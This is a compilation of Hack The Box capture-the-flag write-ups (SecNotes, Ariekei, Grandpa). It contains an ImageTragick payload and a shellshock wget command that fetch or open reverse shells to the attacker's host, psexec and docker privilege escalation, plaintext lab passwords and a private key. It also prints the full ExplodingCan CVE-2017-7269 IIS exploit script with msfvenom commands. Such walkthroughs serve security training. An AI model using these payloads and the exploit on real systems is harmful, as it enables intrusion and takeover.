PS C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs> cd root
PS C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root> ls

Directory: C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalStat
e\rootfs\root


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/22/2018 2:56 AM filesystem
-a---- 6/22/2018 3:09 AM 3112 .bashrc
-a---- 6/22/2018 2:41 PM 398 .bash_history
-a---- 6/21/2018 6:00 PM 148 .profile


PS C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root>
> cat .bash_history
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history
less .bash_history
exit
PS C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root>

The same enumeration can also be carried out using bash.

bash -c "whoami;hostname"
bash -c "ls -al /root"
bash -c "cat /root/.bash_history"

A SYSTEM shell can be gained using psexec

C:\Users\jacco>psexec.exe \\10.10.10.97 -u SECNOTES\Administrator cmd.exe

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Password:u6!4ZwgwOM#^OBf#Nwnh

Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
secnotes\administrator
root@kali:~/htb# psexec.py Administrator@10.10.10.97 
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

Password: u6!4ZwgwOM#^OBf#Nwnh
[*] Requesting shares on 10.10.10.97.....
[*] Found writable share ADMIN$
[*] Uploading file FtHMilUj.exe
[*] Opening SVCManager on 10.10.10.97.....
[*] Creating service gSOW on 10.10.10.97.....
[*] Starting service gSOW.....

[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

Author: Puckiestyle

HTB – Ariekei

Today we are going to solve another CTF challenge “Ariekei” which is available online for those who want to increase their skill in penetration testing and black box testing. Ariekei is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.65 so let’s begin with nmap port enumeration.

root@kali:~/htb/ariekei# nmap -sC -sV 10.10.10.65
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-16 21:20 CET
Nmap scan report for 10.10.10.65
Host is up (0.030s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 a7:5b:ae:65:93:ce:fb:dd:f9:6a:7f:de:50:67:f6:ec (RSA)
| 256 64:2c:a6:5e:96:ca:fb:10:05:82:36:ba:f0:c9:92:ef (ECDSA)
|_ 256 51:9f:87:64:be:99:35:2a:80:a6:a2:25:eb:e0:95:9f (ED25519)
443/tcp open ssl/https nginx/1.10.2
|_http-server-header: nginx/1.10.2
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_ http/1.1
| tls-nextprotoneg: 
|_ http/1.1
1022/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 1024 98:33:f6:b6:4c:18:f5:80:66:85:47:0c:f6:b7:90:7e (DSA)
| 2048 78:40:0d:1c:79:a1:45:d4:28:75:35:36:ed:42:4f:2d (RSA)
| 256 45:a6:71:96:df:62:b5:54:66:6b:91:7b:74:6a:db:b7 (ECDSA)
|_ 256 ad:8d:4d:69:8e:7a:fd:d8:cd:6e:c1:4f:6f:81:b4:1f (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.76 seconds

Now when we open the website we get a webpage that has a message on it saying it was maintenance.

Now we add the two domain names we found in the SSL certificate in /etc/hosts file for further enumeration.

When we open “calvin.ariekei.htb” we get an error message saying the requested url is not found.

Now when we open “beehive.ariekei.htb” we get the same under maintenance page as we did the first time we opened the target’s IP address in our browser.

Now we use dirb to enumerate the directories running on target nginx server. We also find that using either the IP address or the domain “beehive.arieki.htb” gives us identical results.

root@kali:~/htb/ariekei# dirb https://10.10.10.65/ -w

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

START_TIME: Wed Jan 16 21:36:06 2019
URL_BASE: https://10.10.10.65/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Stopping on warning messages

-----------------

GENERATED WORDS: 4612

---- Scanning URL: https://10.10.10.65/ ----
+ https://10.10.10.65/.config (CODE:403|SIZE:1618) 
+ https://10.10.10.65/_vti_bin/_vti_adm/admin.dll (CODE:403|SIZE:1618)
+ https://10.10.10.65/_vti_bin/_vti_aut/author.dll (CODE:403|SIZE:1618)
+ https://10.10.10.65/_vti_bin/shtml.dll (CODE:403|SIZE:1618)
+ https://10.10.10.65/awstats.conf (CODE:403|SIZE:1618)
==> DIRECTORY: https://10.10.10.65/blog/
+ https://10.10.10.65/cgi-bin/ (CODE:403|SIZE:287) 
+ https://10.10.10.65/development.log (CODE:403|SIZE:1618)
+ https://10.10.10.65/global.asa (CODE:403|SIZE:1618) 
+ https://10.10.10.65/global.asax (CODE:403|SIZE:1618) 
+ https://10.10.10.65/index.html (CODE:200|SIZE:487) 
+ https://10.10.10.65/main.mdb (CODE:403|SIZE:1618) 
+ https://10.10.10.65/php.ini (CODE:403|SIZE:1618) 
+ https://10.10.10.65/production.log (CODE:403|SIZE:1618)
+ https://10.10.10.65/readfile (CODE:403|SIZE:1618) 
+ https://10.10.10.65/server-status (CODE:403|SIZE:292)
+ https://10.10.10.65/spamlog.log (CODE:403|SIZE:1618) 
+ https://10.10.10.65/thumbs.db (CODE:403|SIZE:1618) 
+ https://10.10.10.65/Thumbs.db (CODE:403|SIZE:1618) 
+ https://10.10.10.65/WS_FTP.LOG (CODE:403|SIZE:1618)

When we try to exploit this page using shellshock, we get an emoji which persists whenever we try to exploit it. This may mean there is web application firewall that protects the server from this attack.

root@kali:~/htb/ariekei# curl -k -H "User-Agent: () { ;: }; echo; echo; /usr/bin/whoami" https://beehive.ariekei.htb

Now we use dirb to scan the other domain on the target server as it was showing different pages when we opened it in our browser.

root@kali:~/htb/ariekei# dirb https://calvin.ariekei.htb/

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

START_TIME: Wed Jan 16 21:42:04 2019
URL_BASE: https://calvin.ariekei.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: https://calvin.ariekei.htb/ ----
+ https://calvin.ariekei.htb/.config (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/_vti_bin/_vti_adm/admin.dll (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/_vti_bin/_vti_aut/author.dll (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/_vti_bin/shtml.dll (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/awstats.conf (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/development.log (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/global.asa (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/global.asax (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/main.mdb (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/php.ini (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/production.log (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/spamlog.log (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/thumbs.db (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/Thumbs.db (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/upload (CODE:200|SIZE:1656) 
+ https://calvin.ariekei.htb/WS_FTP.LOG (CODE:403|SIZE:1618)

-----------------
END_TIME: Wed Jan 16 21:44:38 2019
DOWNLOADED: 4612 - FOUND: 16

Dirb scan shows us a directory named “upload/”, we open the link and find an upload page.

Upload any file and nothing appears to happen, we’re just redirected to a HTTP port of calvin.ariekei.htb/upload, although the title indicates that this is an image converter. Potentially it’s vulnerable to Imagetragick, one of the more famous exploits of the ImageMagick library that handled a substantial amount of the web’s image conversion code. I used one of the proof-of-concepts hosted here and adapted it to return myself a root shell.

For this you’ll want to generate an executable to return a shell. We can easily do this using msfvenom.

root@kali:~/htb/ariekei# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.42 LPORT=443 -f elf -o shell.elf

We’ll then want to create our payload file, which I called exploit.mvg. All this does is inject a call to download our binary, make it executable and then execute it.

root@kali:~/htb/ariekei# cat exploit.mvg 
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl 10.10.14.12/shell.elf -o /tmp/shell.elf; chmod +x /tmp/shell.elf; /tmp/shell.elf; echo "rce1)'
pop graphic-context

We upload the file, place the executable on our local web server and set up a netcat listener. After a few seconds we’re returned a shell as…root?

We take a look at /proc/1/cgroup and find that we are inside a docker container.

Now we take a look at the mounted files, and find a directory called /common.

We open the “common/” directory and find a secret directory called “.secrets/”. We take a look inside the content of the directory and find files named “bastion_key” and “bastion_key.pub”.

We open the “bastion_key” file and we find a RSA key.

We copy the file into our system and save it as id_rsa, so that we can use it to login using ssh.

We change the permissions of the key, and login through ssh as root user using the RSA key.

root@kali:~/htb/ariekei# ssh root@10.10.10.65 -p 1022 -i id_rsa
Last login: Thu Jan 17 17:07:15 2019 from 10.10.14.12
root@ezra:~# cat /proc/1/cgroup
11:devices:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
10:memory:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
9:pids:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
8:cpuset:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
7:cpu,cpuacct:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
6:freezer:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
5:hugetlb:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
4:perf_event:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
3:blkio:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
2:net_cls,net_prio:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
1:name=systemd:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
root@ezra:~#

We check the /proc/1/cgroup file and find that we are still in docker container.

We again go to the “common/” directory, inside /containers/blog-test/ we find a few files and directories. One of the file contained a few bash commands and also root user password.

Enumerating the rest of the directories, inside /common/containers/waf-live/ we find the configuration files for the nginx server.

We look at the “nginx.conf” file and find that waf-live is running on port 443 and routing all traffic between the blog-test container and us. We also find that mod security is acting as the web application firewall.

Now during our dirb scan we found a directory called /cgi-bin/stats/ which could be vulnerable to shellshock but we were unable to exploit it because of the web application firewall. As the waf-live is routing traffic between us and blog-test on port 443 it is possible to exploit the shellshock vulnerability from inside the server.

We know the target ip to be 172.24.0.2 form the configuration file. We now need to find the IP address to docker system we are in.

we have gotten the network topology and it shows that we are logged into bastion-live docker machine which connects two networks. Now it also shows that calvin and beehive machines which are behind a firewall as we expected. For now we need to reach beehive host from the internal network because it don’t have internal firewall, thus we still can use the ShellShock vulnerability that we tried from bastion machine.

Local/Remote Port forward

However, there is a problem which is curl is not installed on the system and we don’t have internet access to install it. The idea that I got is now to do reverse shell to my Kali machine and do that internally from my machine.

We can also open local port 80 to forward to remote port 80 as following, both of them are working fine.

ShellShock exploit behind the Firewall

I have successfully did remote port forward to my machine via port 8003 that forward to port 80 on host 172.24.0.2.

root@ezra:# ~C
ssh> -L 8001:172.24.0.2:80
Forwarding port
root@ezra:#
root@kali:~/htb/ariekei# netstat -alnp | grep 8001
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      2599/ssh            
tcp6       0      0 ::1:8001                :::*                    LISTEN      2599/ssh  
root@kali:~/htb/ariekei# curl 127.0.0.1:8001
root@kali:~/htb/ariekei# nc -lvnp 8003
TEST appearing 
root@ezra:# ~C
ssh> -R 8002:127.0.0.1:8003
Forwardng port.

Then, tried to execute the curl command to exploit the application to print Puck which is my name.

root@kali:~/htb/ariekei# curl -H "custom:() { ignored; }; echo; echo ; /bin/bash -c 'echo Puck'" localhost:8001/cgi-bin/stats

Puck
root@kali:~/htb/ariekei#

And finally receiving a reverse shell by executing the following command:

root@kali:~/htb/ariekei# wget -U "() { test;}; echo \"Content-Type: text/plain\"; echo; /bin/bash -i >&/dev/tcp/10.10.14.12/8003 0>&1" http://127.0.0.1:8001/cgi-bin/stats 
--2019-01-17 19:39:30-- http://127.0.0.1:8001/cgi-bin/stats
Connecting to 127.0.0.1:8001... connected.
HTTP request sent, awaiting response...

root@kali:~/htb/ariekei# nc -lvp 8003
listening on [any] 8003 ...
connect to [10.10.14.12] from calvin.ariekei.htb [10.10.10.65] 34858
www-data@beehive:/usr/lib/cgi-bin$

www-data@beehive:/usr/lib/cgi-bin$ su
su
Password: Ib3!kTEvYw6*P7s

root@beehive:/usr/lib/cgi-bin# 
www-data@beehive:/usr/lib/cgi-bin$ python -c "import pty; pty.spawn('/bin/bash')" 
<gi-bin$ python -c "import pty; pty.spawn('/bin/bash')" 
root@beehive:/home/spanishdancer# cat user.txt
cat user.txt
ff0*****f216

When we try to login through ssh using this key, we are asked for a passphrase. So we use john the ripper to crack the passphrase. We use the default wordlist of johntheripper and find the passphrase to be “purple1”.

After we get the passphrase we change the permission of RSA key file and login as user spanishdancer as it was inside the spanishdancer’s home directory.

Getting root flag – Privilege escalation

root@beehive:/home/spanishdancer/.ssh# ls
ls
authorized_keys id_rsa id_rsa.pub
root@beehive:/home/spanishdancer/.ssh# cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,C3EBD8120354A75E12588B11180E96D5

2UIvlsa0jCjxKXmQ4vVX6Ez0ak+6r5VuZFFoalVXvbZSLomIya4vYETv1Oq8EPeh
KHjq5wFdlYdOXqyJus7vFtB9nbCUrgH/a3og0/6e8TA46FuP1/sFMV67cdTlXfYI
Y4sGV/PS/uLm6/tcEpmGiVdcUJHpMECZvnx9aSa/kvuO5pNfdFvnQ4RVA8q/w6vN
p3pDI9CzdnkYmH5/+/QYFsvMk4t1HB5AKO5mRrc1x+QZBhtUDNVAaCu2mnZaSUhE
abZo0oMZHG8sETBJeQRnogPyAjwmAVFy5cDTLgag9HlFhb7MLgq0dgN+ytid9YA8
pqTtx8M98RDhVKqcVG3kzRFc/lJBFKa7YabTBaDoWryR0+6x+ywpaBGsUXEoz6hU
UvLWH134w8PGuR/Rja64s0ZojGYsnHIl05PIntvl9hinDNc0Y9QOmKde91NZFpcj
pDlNoISCc3ONnL4c7xgS5D2oOx+3l2MpxB+B9ua/UNJwccDdJUyoJEnRt59dH1g3
cXvb/zTEklwG/ZLed3hWUw/f71D9DZV+cnSlb9EBWHXvSJwqT1ycsvJRZTSRZeOF
Bh9auWqAHk2SZ61kcXOp+W91O2Wlni2MCeYjLuw6rLUHUcEnUq0zD9x6mRNLpzp3
IC8VFmW03ERheVM6Ilnr8HOcOQnPHgYM5iTM79X70kCWoibACDuEHz/nf6tuLGbv
N01CctfSE+JgoNIIdb4SHxTtbOvUtsayQmV8uqzHpCQ3FMfz6uRvl4ZVvNII/x8D
u+hRPtQ1690Eg9sWqu0Uo87/v6c/XJitNYzDUOmaivoIpL0RO6mu9AhXcBnqBu3h
oPSgeji9U7QJD64T8InvB7MchfaJb9W/VTECST3FzAFPhCe66ZRzRKZSgMwftTi5
hm17wPBuLjovOCM8QWp1i32IgcdrnZn2pBpt94v8/KMwdQyAOOVhkozBNS6Xza4P
18yUX3UiUEP9cmtz7bTRP5h5SlDzhprntaKRiFEHV5SS94Eri7Tylw4KBlkF8lSD
WZmJvAQc4FN+mhbaxagCadCf12+VVNrB3+vJKoUHgaRX+R4P8H3OTKwub1e69vnn
QhChPHmH9SrI2TNsP9NPT5geuTe0XPP3Og3TVzenG7DRrx4Age+0TrMShcMeJQ8D
s3kAiqHs5liGqTG96i1HeqkPms9dTC895Ke0jvIFkQgxPSB6y7oKi7VGs15vs1au
9T6xwBLJQSqMlPewvUUtvMQAdNu5eksupuqBMiJRUQvG9hD0jjXz8f5cCCdtu8NN
8Gu4jcZFmVvsbRCP8rQBKeqc/rqe0bhCtvuMhnl7rtyuIw2zAAqqluFs8zL6YrOw
lBLLZzo0vIfGXV42NBPgSJtc9XM3YSTjbdAk+yBNIK9GEVTbkO9GcMgVaBg5xt+6
uGE5dZmtyuGyD6lj1lKk8D7PbCHTBc9MMryKYnnWt7CuxFDV/Jp4fB+/DuPYL9YQ
8RrdIpShQKh189lo3dc6J00LmCUU5qEPLaM+AGFhpk99010rrZB/EHxmcI0ROh5T
1oSM+qvLUNfJKlvqdRQr50S1OjV+9WrmR0uEBNiNxt2PNZzY/Iv+p8uyU1+hOWcz
-----END RSA PRIVATE KEY-----
root@beehive:/home/spanishdancer/.ssh#

root@kali:~/htb/ariekei# chmod 600 key.txt
root@kali:~/htb/ariekei# ssh -i key.txt spanishdancer@10.10.10.65
Enter passphrase for key 'key.txt': purple1
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-87-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

7 packages can be updated.
7 updates are security updates.


Last login: Mon Nov 13 10:23:41 2017 from 10.10.14.2
spanishdancer@ariekei:~$ id
uid=1000(spanishdancer) gid=1000(spanishdancer) groups=1000(spanishdancer),999(docker)
spanishdancer@ariekei:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
waf-template latest 399c8876e9ae 16 months ago 628MB
bastion-template latest 0df894ef4624 16 months ago 251MB
web-template latest b2a8f8d3ef38 16 months ago 185MB
bash latest a66dc6cea720 16 months ago 12.8MB
convert-template latest e74161aded79 2 years ago 418MB
spanishdancer@ariekei:~$ docker run -v /:/hack -i -t bash
bash-4.4# cd /hack/root
bash-4.4# ls -la
total 40
drwx------ 3 root root 4096 Feb 11 2018 .
drwxr-xr-x 23 root root 4096 Sep 16 2017 ..
-rw-r--r-- 1 root root 3126 Sep 24 2017 .bashrc
drwx------ 2 root root 4096 Feb 11 2018 .cache
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 1024 Sep 24 2017 .rnd
-rw-r--r-- 1 root root 75 Sep 23 2017 .selected_editor
-rw------- 1 root root 7747 Feb 11 2018 .viminfo
-r-------- 1 root root 33 Sep 24 2017 root.txt
bash-4.4# cat root.txt
038*****70b
bash-4.4#

 

Author: Jacco Straathof

htb-grandpa-nl

Today we are going to solve another CTF challenge “Grandpa” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried Grandpa Lab.

Level: Beginners

Task: find user.txt and root.txt file in victim’s machine.

Since these labs are online available therefore they have static IP and IP of Grandpa is 10.10.10.14 so let’s begin with nmap port enumeration.

root@kali:~/htb/grandpa# nmap -sC -sV 10.10.10.14
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-17 15:08 CET
Nmap scan report for 10.10.10.14
Host is up (0.027s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods: 
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan: 
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
| Server Type: Microsoft-IIS/6.0
| WebDAV type: Unkown
|_ Server Date: Thu, 17 Jan 2019 14:06:03 GMT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.59 seconds

Microsoft IIS httpd 6.0

Details

  • Vulnerability: Microsoft IIS WebDav ‘ScStoragePathFromUrl’ Remote Buffer Overflow
  • CVECVE-2017-7269
  • Disclosure date: March 31 2017
  • Affected product: Microsoft Windows Server 2003 R2 SP2 x86

Shellcode

#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# An implementation of NSA's ExplodingCan exploit
# Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow
# CVE-2017-7269 
#
# by @danigargu
#
#

import re
import sys
import socket
import requests
import httplib
import string
import time
import random
import sys

from urlparse import urlparse
from struct import pack

REQUEST_TIMEOUT = 10
DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot")

def decode(data):
    return data.decode("utf-8").encode("utf-16le")

def encode(data):
    return data.decode("utf-16le").encode("utf-8")

p = lambda x : pack("<L", x) # pack

def rand_text_alpha(size):
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join(random.choice(chars) for _ in range(size))

def supports_webdav(headers):
    if "DAV" in headers.get('MS-Author-Via','') or \
        headers.get('DASL','') == '<DAV:sql>' or \
        re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \
        "PROPFIND" in headers.get('Public','') or \
        "PROPFIND" in headers.get('Allow',''):
        return True
    return False

def check(url):
    r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT)
    if r.status_code != 200:
        print("[-] Status code: %d" % r.status_code)
        return False

    print("[*] Server found: %s" % r.headers['Server'])
    if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers):
        return True
    return False

def find_iis_path_len(url, min_len=3, max_len=70, delay=0):
    idx  = 0
    junk = 60
    found = False
    iis_path_len = None
    cur_size = max_len

    assert max_len <= 130, "Max length exceeded (130)"
    init_lenght = 130-max_len

    while not found and cur_size > min_len:
        cur_size = (max_len-idx)
        to_brute = rand_text_alpha(init_lenght+idx)         
        base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute

        sys.stdout.write("[*] Trying with size: %d\r" % cur_size)
        sys.stdout.flush()      
        try:
            r = requests.request('PROPFIND', url, 
                    timeout=REQUEST_TIMEOUT, headers={
                        'Content-Length': '0',
                        'Host': 'localhost',
                        'If': base_query
                    })

            if r.status_code == 500:
                iis_path_len = (max_len-idx)
                found = True
            idx += 1
            time.sleep(delay)

        # requests.exceptions.ReadTimeout
        except requests.exceptions.ConnectionError as e:
            print("[-] ERROR: %s" % e.message)
            break

    if iis_path_len and iis_path_len == max_len:
        iis_path_len = None
    
    return iis_path_len

def make_payload(p_url, iis_path_len, shellcode):
    url = p_url.geturl()
    payload = "PROPFIND / HTTP/1.1\r\n"
    payload += "Host: %s\r\n" % p_url.netloc
    payload += "Content-Length: 0\r\n"
    payload += "If: <%s/a" % url

    junk = (128-iis_path_len) * 2

    p1  = rand_text_alpha(junk) # Varies the length given its IIS physical path
    p1 += p(0x02020202)
    p1 += p(0x680312c0) # str pointer to .data httpext.dll
    p1 += rand_text_alpha(24)
    p1 += p(0x680313c0) # destination pointer used with memcpy
    p1 += rand_text_alpha(12)
    p1 += p(0x680313c0) # destination pointer used with memcpy
    
    payload += encode(p1)

    payload += "> (Not <locktoken:write1>) "
    payload += "<%s/b" % url

    p2  = rand_text_alpha(junk - 4)
    p2 += p(0x680313c0)

    """
    Stack adjust:

    rsaenh.dll:68006E4F  pop     esi
    rsaenh.dll:68006E50  pop     ebp
    rsaenh.dll:68006E51  retn    20h
    """

    p2 += p(0x68006e4f) # StackAdjust
    p2 += p(0x68006e4f) # StackAdjust
    p2 += rand_text_alpha(4)
    p2 += p(0x680313c0)
    p2 += p(0x680313c0)
    p2 += rand_text_alpha(12)

    """
    rsaenh.dll:68016082  mov     esp, ecx
    rsaenh.dll:68016084  mov     ecx, [eax]
    rsaenh.dll:68016086  mov     eax, [eax+4]
    rsaenh.dll:68016089  push    eax
    rsaenh.dll:6801608A  retn
    """

    p2 += p(0x68016082)
    p2 += rand_text_alpha(12)
    p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE
    p2 += rand_text_alpha(4)
    p2 += p(0x680124e3) # JMP [EBX]
    p2 += p(0x68031460) # shellcode address
    p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address
    p2 += p(0xffffffff)
    p2 += p(0x680313c0)
    p2 += p(0x6803046e) 
    p2 += rand_text_alpha(4)
    p2 += p(0x68031434)
    p2 += p(0x680129e7) # leave; ret

    """
    rsaenh.dll:68009391  pop     eax
    rsaenh.dll:68009392  pop     ebp
    rsaenh.dll:68009393  retn    4
    """

    p2 += p(0x68009391)
    p2 += rand_text_alpha(16)
    p2 += p(0x6803141c)

    """
    rsaenh.dll:68006E05  lea     esp, [ebp-20h]
    rsaenh.dll:68006E08  pop     edi
    rsaenh.dll:68006E09  pop     esi
    rsaenh.dll:68006E0A  pop     ebx
    rsaenh.dll:68006E0B  leave
    rsaenh.dll:68006E0C  retn    24h
    """

    p2 += p(0x68006e05)
    p2 += rand_text_alpha(12)
    p2 += p(0x68008246) # EAX val address
    p2 += rand_text_alpha(4)

    """
    Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server)

    rsaenh.dll:68021DAA  mov     eax, [eax+110h]
    rsaenh.dll:68021DB0  pop     ebp
    rsaenh.dll:68021DB1  retn    4
    """

    p2 += p(0x68021daa)
    p2 += rand_text_alpha(4)
    p2 += p(0x680313f8)
    p2 += p(0x680129e7) # leave; ret

    payload += encode(p2)

    """
    stack restore:

    90             nop
    31db           xor ebx, ebx
    b308           mov bl, 8
    648b23         mov esp, dword fs:[ebx]
    6681c40008     add sp, 0x800
    90             nop
    """
    payload += encode("9031DBB308648B236681C4000890".decode("hex"))
    payload += encode(shellcode)
    payload += ">\r\n\r\n"

    return payload

def send_exploit(p_url, data):
    host = p_url.hostname
    port = p_url.port if p_url.port else 80
    vulnerable = False
    recv_data  = None

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(50)
        sock.connect((host, port))
        sock.send(data)
        recv_data = sock.recv(1024)
        sock.close()
    except socket.timeout:
        print("[*] Socket timeout")
        vulnerable = True
    except socket.error as e:     
        if e.errno == 54:
            print("[*] Connection reset by peer")
            vulnerable = True
    return (vulnerable, recv_data)

def main():    
    if len(sys.argv) < 3:
        print("Usage: %s <url> <shellcode-file>" % sys.argv[0])
        return

    try:
        url = sys.argv[1]
        sc_file = sys.argv[2]
        p_url = urlparse(url)
        shellcode = None

        with open(sc_file, 'rb') as f:
            shellcode = f.read()

        print("[*] Using URL: %s" % url)
        if not check(url):
            print("[-] Server not vulnerable")
            return

        iis_path_len = find_iis_path_len(url)
        if not iis_path_len:
            print("[-] Unable to determine IIS path size")
            return

        print("[*] Found IIS path size: %d" % iis_path_len)
        if iis_path_len == DEFAULT_IIS_PATH_SIZE:
            print("[*] Default IIS path: C:\Inetpub\wwwroot")

        r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT)
        if r and r.status_code == 207:
            print("[*] WebDAV request: OK")
            payload = make_payload(p_url, iis_path_len, shellcode)

            print("[*] Payload len: %d" % len(payload))
            print("[*] Sending payload...")
            vuln, recv_data = send_exploit(p_url, payload)

            if vuln:
                print("[+] The host is maybe vulnerable")
            if recv_data:
                print(recv_data)   
        else:
            print("[-] Server did not respond correctly to WebDAV request")
            return
            
    except Exception as e:
        print("[-] %s" % e)

if __name__ == '__main__':
    main()

 

The shellcode must be in alphanumeric format due to the limitations of the bug. For example we can use msfvenom(metasploit) with the alpha_mixed encoder.

root@kali:~/htb/grandpa# msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=10.10.14.12 LPORT=4444 >shellcode
root@kali:~/htb/grandpa# python ExplodingCan.py http://10.10.10.14 shellcode
[*] Using URL: http://10.10.10.14
[*] Server found: Microsoft-IIS/6.0
[*] Found IIS path size: 18
[*] Default IIS path: C:\Inetpub\wwwroot
[*] WebDAV request: OK
[*] Payload len: 2241
[*] Sending payload...

[*] Socket timeout
[+] The host is maybe vulnerable

.

